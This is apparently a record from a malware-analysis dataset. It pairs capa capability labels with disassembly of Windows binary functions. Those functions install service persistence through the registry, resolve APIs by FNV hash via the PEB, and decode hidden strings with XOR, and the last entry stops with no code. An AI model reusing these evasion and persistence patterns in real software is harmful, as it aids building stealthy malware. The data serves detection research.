joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000f670
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rbx, rdx
mov rdi, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov ecx, 0x30
call fcn.14009f198
mov qword [rsp + 0x40], rax
movdqa xmm0, xmmword [0x1400b16d0]
movdqu xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [str.SystemCurrentControlSetServices_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400a3b50]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400a3b60]
mov word [rax + 0x20], cx
mov byte [rax + 0x22], 0
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140021b10
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
lea r8, [rsp + 0x38]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x14000f803
mov byte [rsp + 0x90], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000f803
mov byte [rsp + 0x98], 3
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000f803
mov byte [rsp + 0x30], 3
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000f803
mov eax, dword [rdi + 0x10]
cmp qword [rdi + 0x18], 0xf
jbe 0x14000f7c9
mov rdi, qword [rdi]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000f803
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
jmp 0x14000f805
xor bl, bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14000f845
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f840
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f840
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009f1d4
movzx eax, bl
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x140011090
Capabilities:
Access peb ldr_data
Encode data using xor
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 0x10], rbx
mov rbx, qword [0x1400c0198]
mov qword [rax + 8], 0
test rbx, rbx
jne 0x14001127c
mov qword [rax + 0x18], rbp
xor r11d, r11d
mov qword [rax + 0x20], rsi
mov r9d, 0x900c4f22
mov qword [rax - 0x10], r14
mov rax, qword gs:[0x60]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], r15
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rbx, rbp
nop dword [rax]
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14001113d
psrldq xmm0, 8
mov edx, 0x80cd30ab
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140011134
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140011120
cmp edx, r11d
jne 0x14001123e
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r10
cmp rdi, r10
je 0x14001123e
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14001123e
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x80cd30ab
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400111b7
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400111a0
cmp edx, r9d
je 0x1400111c3
test r8d, r8d
jne 0x140011180
jmp 0x14001123e
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
add rbx, r10
cmp rbx, rdi
jbe 0x140011256
lea rax, [r15 + rdi]
cmp rbx, rax
jae 0x140011256
movzx eax, byte [rbx]
mov r11d, 0x80cd30ab
mov r9d, r11d
cmp al, 0x2e
je 0x140011217
nop dword [rax + rax]
movsx eax, al
inc rbx
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x140011200
movzx eax, byte [rbx + 1]
inc rbx
test al, al
je 0x14001123a
movsx eax, al
lea rbx, [rbx + 1]
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [rbx]
test al, al
jne 0x140011222
mov rbx, qword [rbp]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rbp
je 0x140011254
cmp qword [rax + 0x30], 0
jne 0x1400110f0
xor ebx, ebx
mov r15, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x80]
mov qword [0x1400c0198], rbx
cmp byte [0x1400a3f11], 0
movups xmm0, xmmword [str.zr_wer_vnrqcov_vgnepjlm3]
movzx eax, word [0x1400a3f10]
mov word [rsp + 0x48], ax
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x1400a3f08]
movsd qword [rsp + 0x40], xmm0
je 0x1400112ba
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.140011300
lea rax, [rsp + 0x70]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call rbx
mov rbx, qword [rsp + 0x78]
test eax, eax
jne 0x1400112f0
mov qword [0], 1
xor eax, eax
add rsp, 0x68
ret
Function at 0x140011300
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x58
xor r8d, r8d
mov r10, rdx
cmp dword [0x1400bf090], 2
jl 0x140011553
movdqa xmm5, xmmword [0x1400b1700]
lea rax, [r10 + 0x19]
lea rdx, [rcx + 0x19]
cmp rcx, rax
ja 0x140011335
cmp rdx, r10
jae 0x140011553
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x30], xmm7
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm9
movdqa xmm0, xmmword [0x1400b17c0]
lea r9, [rcx + 4]
movdqa xmm3, xmmword [0x1400b17b0]
mov rdx, r10
movdqa xmm6, xmmword [0x1400b1720]
sub rdx, rcx
movdqa xmm7, xmmword [0x1400b16f0]
movdqa xmm4, xmmword [0x1400b17f0]
movdqa xmm8, xmmword [0x1400b1730]
movdqa xmm9, xmmword [0x1400b1740]
movdqa xmmword [rsp], xmm0
mov r11d, dword [rsp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm2
andps xmm0, xmm7
paddd xmm0, xmm2
psrad xmm0, 1
paddd xmm0, xmm0
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r11d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 4]
xorps xmm2, xmm0
movd dword [r9 - 4], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm2
andps xmm0, xmm7
paddd xmm0, xmm2
psrad xmm0, 1
paddd xmm0, xmm0
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
movd xmm0, r11d
packuswb xmm2, xmm2
lea r9, [r9 + 8]
packuswb xmm2, xmm2
add r8d, 8
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 8]
xorps xmm2, xmm0
movd dword [r9 - 8], xmm2
cmp r8d, 0x18
jl 0x1400113a0
movaps xmm9, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm7, xmmword [rsp + 0x30]
movaps xmm6, xmmword [rsp + 0x40]
cmp r8d, 0x1a
jge 0x1400115b5
movsxd r9, r8d
add r9, rcx
sub r10, rcx
nop dword [rax]
mov eax, 0x22b63cbf
mov ecx, r8d
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3b
sub ecx, eax
and ecx, 0x80000001
jge 0x140011589
dec ecx
or ecx, 0xfffffffe
inc ecx
mov eax, 0x4325c53f
inc r8d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3d
sub ecx, eax
add cl, 0x32
xor cl, byte [r10 + r9]
mov byte [r9], cl
inc r9
cmp r8d, 0x1a
jl 0x140011560
add rsp, 0x58
ret
Function at 0x140012dd0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x58
xor r8d, r8d
mov r10, rdx
cmp dword [0x1400bf090], 2
jl 0x140013023
movdqa xmm5, xmmword [0x1400b1700]
lea rax, [r10 + 0x11]
lea rdx, [rcx + 0x11]
cmp rcx, rax
ja 0x140012e05
cmp rdx, r10
jae 0x140013023
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x30], xmm7
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm9
movdqa xmm0, xmmword [0x1400b17c0]
lea r9, [rcx + 4]
movdqa xmm3, xmmword [0x1400b17b0]
mov rdx, r10
movdqa xmm6, xmmword [0x1400b1720]
sub rdx, rcx
movdqa xmm7, xmmword [0x1400b16f0]
movdqa xmm4, xmmword [0x1400b17f0]
movdqa xmm8, xmmword [0x1400b1730]
movdqa xmm9, xmmword [0x1400b1740]
movdqa xmmword [rsp], xmm0
mov r11d, dword [rsp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm2
andps xmm0, xmm7
paddd xmm0, xmm2
psrad xmm0, 1
paddd xmm0, xmm0
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r11d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 4]
xorps xmm2, xmm0
movd dword [r9 - 4], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm2
andps xmm0, xmm7
paddd xmm0, xmm2
psrad xmm0, 1
paddd xmm0, xmm0
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
movd xmm0, r11d
packuswb xmm2, xmm2
lea r9, [r9 + 8]
packuswb xmm2, xmm2
add r8d, 8
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 8]
xorps xmm2, xmm0
movd dword [r9 - 8], xmm2
cmp r8d, 0x10
jl 0x140012e70
movaps xmm9, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm7, xmmword [rsp + 0x30]
movaps xmm6, xmmword [rsp + 0x40]
cmp r8d, 0x12
jge 0x140013085
movsxd r9, r8d
add r9, rcx
sub r10, rcx
nop dword [rax]
mov eax, 0x22b63cbf
mov ecx, r8d
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3b
sub ecx, eax
and ecx, 0x80000001
jge 0x140013059
dec ecx
or ecx, 0xfffffffe
inc ecx
mov eax, 0x4325c53f
inc r8d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3d
sub ecx, eax
add cl, 0x32
xor cl, byte [r10 + r9]
mov byte [r9], cl
inc r9
cmp r8d, 0x12
jl 0x140013030
add rsp, 0x58
ret
Function at 0x140013090
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x58
xor r8d, r8d
mov r10, rdx
cmp dword [0x1400bf090], 2
jl 0x1400132e3
movdqa xmm5, xmmword [0x1400b1700]
lea rax, [r10 + 0x2a]
lea rdx, [rcx + 0x2a]
cmp rcx, rax
ja 0x1400130c5
cmp rdx, r10
jae 0x1400132e3
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x30], xmm7
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm9
movdqa xmm0, xmmword [0x1400b17c0]
lea r9, [rcx + 4]
movdqa xmm3, xmmword [0x1400b17b0]
mov rdx, r10
movdqa xmm6, xmmword [0x1400b1720]
sub rdx, rcx
movdqa xmm7, xmmword [0x1400b16f0]
movdqa xmm4, xmmword [0x1400b17f0]
movdqa xmm8, xmmword [0x1400b1730]
movdqa xmm9, xmmword [0x1400b1740]
movdqa xmmword [rsp], xmm0
mov r11d, dword [rsp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm2
andps xmm0, xmm7
paddd xmm0, xmm2
psrad xmm0, 1
paddd xmm0, xmm0
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r11d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 4]
xorps xmm2, xmm0
movd dword [r9 - 4], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm2
andps xmm0, xmm7
paddd xmm0, xmm2
psrad xmm0, 1
paddd xmm0, xmm0
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
movd xmm0, r11d
packuswb xmm2, xmm2
lea r9, [r9 + 8]
packuswb xmm2, xmm2
add r8d, 8
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 8]
xorps xmm2, xmm0
movd dword [r9 - 8], xmm2
cmp r8d, 0x28
jl 0x140013130
movaps xmm9, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm7, xmmword [rsp + 0x30]
movaps xmm6, xmmword [rsp + 0x40]
cmp r8d, 0x2b
jge 0x140013345
movsxd r9, r8d
add r9, rcx
sub r10, rcx
nop dword [rax]
mov eax, 0x22b63cbf
mov ecx, r8d
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3b
sub ecx, eax
and ecx, 0x80000001
jge 0x140013319
dec ecx
or ecx, 0xfffffffe
inc ecx
mov eax, 0x4325c53f
inc r8d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3d
sub ecx, eax
add cl, 0x32
xor cl, byte [r10 + r9]
mov byte [r9], cl
inc r9
cmp r8d, 0x2b
jl 0x1400132f0
add rsp, 0x58
ret
Function at 0x140013350
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x58
xor r8d, r8d
mov r10, rdx
cmp dword [0x1400bf090], 2
jl 0x1400135a3
movdqa xmm5, xmmword [0x1400b1700]
lea rax, [r10 + 0x1b]
lea rdx, [rcx + 0x1b]
cmp rcx, rax
ja 0x140013385
cmp rdx, r10
jae 0x1400135a3
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x30], xmm7
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm9
movdqa xmm0, xmmword [0x1400b17c0]
lea r9, [rcx + 4]
movdqa xmm3, xmmword [0x1400b17b0]
mov rdx, r10
movdqa xmm6, xmmword [0x1400b1720]
sub rdx, rcx
movdqa xmm7, xmmword [0x1400b16f0]
movdqa xmm4, xmmword [0x1400b17f0]
movdqa xmm8, xmmword [0x1400b1730]
movdqa xmm9, xmmword [0x1400b1740]
movdqa xmmword [rsp], xmm0
mov r11d, dword [rsp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm2
andps xmm0, xmm7
paddd xmm0, xmm2
psrad xmm0, 1
paddd xmm0, xmm0
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r11d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 4]
xorps xmm2, xmm0
movd dword [r9 - 4], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm2
andps xmm0, xmm7
paddd xmm0, xmm2
psrad xmm0, 1
paddd xmm0, xmm0
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
movd xmm0, r11d
packuswb xmm2, xmm2
lea r9, [r9 + 8]
packuswb xmm2, xmm2
add r8d, 8
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 8]
xorps xmm2, xmm0
movd dword [r9 - 8], xmm2
cmp r8d, 0x18
jl 0x1400133f0
movaps xmm9, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm7, xmmword [rsp + 0x30]
movaps xmm6, xmmword [rsp + 0x40]
cmp r8d, 0x1c
jge 0x140013605
movsxd r9, r8d
add r9, rcx
sub r10, rcx
nop dword [rax]
mov eax, 0x22b63cbf
mov ecx, r8d
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3b
sub ecx, eax
and ecx, 0x80000001
jge 0x1400135d9
dec ecx
or ecx, 0xfffffffe
inc ecx
mov eax, 0x4325c53f
inc r8d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3d
sub ecx, eax
add cl, 0x32
xor cl, byte [r10 + r9]
mov byte [r9], cl
inc r9
cmp r8d, 0x1c
jl 0x1400135b0
add rsp, 0x58
ret
Function at 0x140013610
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x58
xor r8d, r8d
mov r10, rdx
cmp dword [0x1400bf090], 2
jl 0x140013863
movdqa xmm5, xmmword [0x1400b1700]
lea rax, [r10 + 0x10]
lea rdx, [rcx + 0x10]
cmp rcx, rax
ja 0x140013645
cmp rdx, r10
jae 0x140013863
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x30], xmm7
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm9
movdqa xmm0, xmmword [0x1400b17c0]
lea r9, [rcx + 4]
movdqa xmm3, xmmword [0x1400b17b0]
mov rdx, r10
movdqa xmm6, xmmword [0x1400b1720]
sub rdx, rcx
movdqa xmm7, xmmword [0x1400b16f0]
movdqa xmm4, xmmword [0x1400b17f0]
movdqa xmm8, xmmword [0x1400b1730]
movdqa xmm9, xmmword [0x1400b1740]
movdqa xmmword [rsp], xmm0
mov r11d, dword [rsp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm2
andps xmm0, xmm7
paddd xmm0, xmm2
psrad xmm0, 1
paddd xmm0, xmm0
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r11d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 4]
xorps xmm2, xmm0
movd dword [r9 - 4], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm2
andps xmm0, xmm7
paddd xmm0, xmm2
psrad xmm0, 1
paddd xmm0, xmm0
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
movd xmm0, r11d
packuswb xmm2, xmm2
lea r9, [r9 + 8]
packuswb xmm2, xmm2
add r8d, 8
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 8]
xorps xmm2, xmm0
movd dword [r9 - 8], xmm2
cmp r8d, 0x10
jl 0x1400136b0
movaps xmm9, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm7, xmmword [rsp + 0x30]
movaps xmm6, xmmword [rsp + 0x40]
cmp r8d, 0x11
jge 0x1400138c5
movsxd r9, r8d
add r9, rcx
sub r10, rcx
nop dword [rax]
mov eax, 0x22b63cbf
mov ecx, r8d
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3b
sub ecx, eax
and ecx, 0x80000001
jge 0x140013899
dec ecx
or ecx, 0xfffffffe
inc ecx
mov eax, 0x4325c53f
inc r8d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3d
sub ecx, eax
add cl, 0x32
xor cl, byte [r10 + r9]
mov byte [r9], cl
inc r9
cmp r8d, 0x11
jl 0x140013870
add rsp, 0x58
ret
Function at 0x140014360
Capabilities:
Encode data using xor

Disassembly:
